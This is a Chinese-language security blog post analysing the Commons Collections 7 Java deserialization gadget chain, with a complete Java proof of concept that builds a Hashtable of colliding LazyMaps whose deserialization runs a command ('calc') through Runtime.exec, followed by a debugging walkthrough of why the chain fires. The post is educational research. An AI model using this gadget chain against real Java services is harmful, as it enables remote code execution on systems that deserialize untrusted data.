• Java安全之Commons Collections7分析


    Java安全之Commons Collections7分析

    0x00 前言

    本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的。在后来随着后面各位大佬们挖掘利用链,CC8,9,10的链诞生,也被内置到ysoserial里面。在该链中其实和CC6也是类似,但是CC7利用链中是使用Hashtable作为反序列化的入口点。

    0x01 POC分析

    package com.test;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.Hashtable;
    import java.util.Map;
    
    public class cc7 {
        public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
    
    
                // Reusing transformer chain and LazyMap gadgets from previous payloads
                final String[] execArgs = new String[]{"calc"};
    
                final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
    
                final Transformer[] transformers = new Transformer[]{
                        new ConstantTransformer(Runtime.class),
                        new InvokerTransformer("getMethod",
                                new Class[]{String.class, Class[].class},
                                new Object[]{"getRuntime", new Class[0]}),
                        new InvokerTransformer("invoke",
                                new Class[]{Object.class, Object[].class},
                                new Object[]{null, new Object[0]}),
                        new InvokerTransformer("exec",
                                new Class[]{String.class},
                                execArgs),
                        new ConstantTransformer(1)};
    
                Map innerMap1 = new HashMap();
                Map innerMap2 = new HashMap();
    
                // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
                Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
                lazyMap1.put("yy", 1);
    
                Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
                lazyMap2.put("zZ", 1);
    
                // Use the colliding Maps as keys in Hashtable
                Hashtable hashtable = new Hashtable();
                hashtable.put(lazyMap1, 1);
                hashtable.put(lazyMap2, 2);
    
            Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
            iTransformers.setAccessible(true);
            iTransformers.set(transformerChain,transformers);
    //        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
    
                // Needed to ensure hash collision after previous manipulations
                lazyMap2.remove("yy");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
            objectOutputStream.writeObject(hashtable);
            objectOutputStream.close();
    
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
            objectInputStream.readObject();
    //            return hashtable;
            }
        }
    

    这里依旧是提取重要代码出来去做了一个简化。

    抛去和前面重复的部分,下面分为三段代码去进行分析。

    			Map innerMap1 = new HashMap();
                Map innerMap2 = new HashMap();
    
                // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
                Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
                lazyMap1.put("yy", 1);
    
                Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
                lazyMap2.put("zZ", 1);
    			Hashtable hashtable = new Hashtable();
                hashtable.put(lazyMap1, 1);
                hashtable.put(lazyMap2, 2);
    
    

    在这段代码中,实例化了两个 HashMap,并对两个 HashMap使用了LazyMaptransformerChain HashMap

    绑定到一起。然后分别添加到 Hashtable中, 但是前面看到的都是使用一次,为什么这里需要重复2次重复的操作呢?

    下面来分析一下。

    HashtablereconstitutionPut方法是被遍历调用的,

    第一次调用的时候,并不会走入到reconstitutionPut方法for循环里面,因为tab[index]的内容是空的,在下面会对tab[index]进行赋值。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals方法。这也是为什么要调用两次put的原因。

     Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
            iTransformers.setAccessible(true);
            iTransformers.set(transformerChain,transformers);
    		lazyMap2.remove("yy");
    

    前面的三段代码其实就是为了防止在序列化的时候,本地进行命令执行,前面先定义好一个空的,后面再使用反射将他的iTransformers进行替换。

    其实最主要的是后面的lazyMap2.remove这个步骤。至于为什么需要在最后面移除该值,其实在LazyMap的get方法里面就可以看到。

    如果不移除该方法就会走不进该判断条件的代码块中。而后面也会再调用一次put方法。

    0x02 POC调试

    依旧是在readobjetc的复写点打一个断点,这里面用到的是Hashtablereadobjetc作为入口点。

    在其中会调用到reconstitutionPut方法,跟进一下。

    前面说过,第一遍调用的时候,tab[index]是为空的,需要跟进到第二步的执行里面去查看。

    在第二遍执行的时候就会进行到for循环里面,并且调用到keyequals方法。跟进一下该方法。

    AbstractMapDecoratorequals方法会去调用this.mapequals。跟进一下。

    下面代码还会继续调用m.get方法,在这里的m为LazyMap对象。

    在最后就来到了LazyMap.get这一步,其实就比较清晰了。后面的和前面分析的几条链都一样。这里就不做分析了。

    0x03 结尾

    分析完了这一系列的CC链,后面就打算分析Fastjson、shiro、weblogic等反序列化漏洞,再后面就是开始写反序列化工具集了。

    WX:TG9yaTI1NDgyNjYxNDU= 欢迎各位师傅来一起做技术交流
  • 相关阅读:
    李开复:如何设计你的2015年度计划(转)
    深入浅出 Java 多线程(转)
    maven常见问题汇总 专题
    Introduction to the Build Lifecycle
    具体解释EBS接口开发之WIP模块接口
    Shell脚本编程具体解释
    [数字图像处理]图像去噪初步(1)--均值滤波器
    hdu-4302-Holedox Eating-线段树-单点更新,有策略的单点查询
    响应式设计:理解设备像素,CSS像素和屏幕分辨率
    #define
  • 原文地址:https://www.cnblogs.com/nice0e3/p/13910833.html
Copyright © 2020-2023  润新知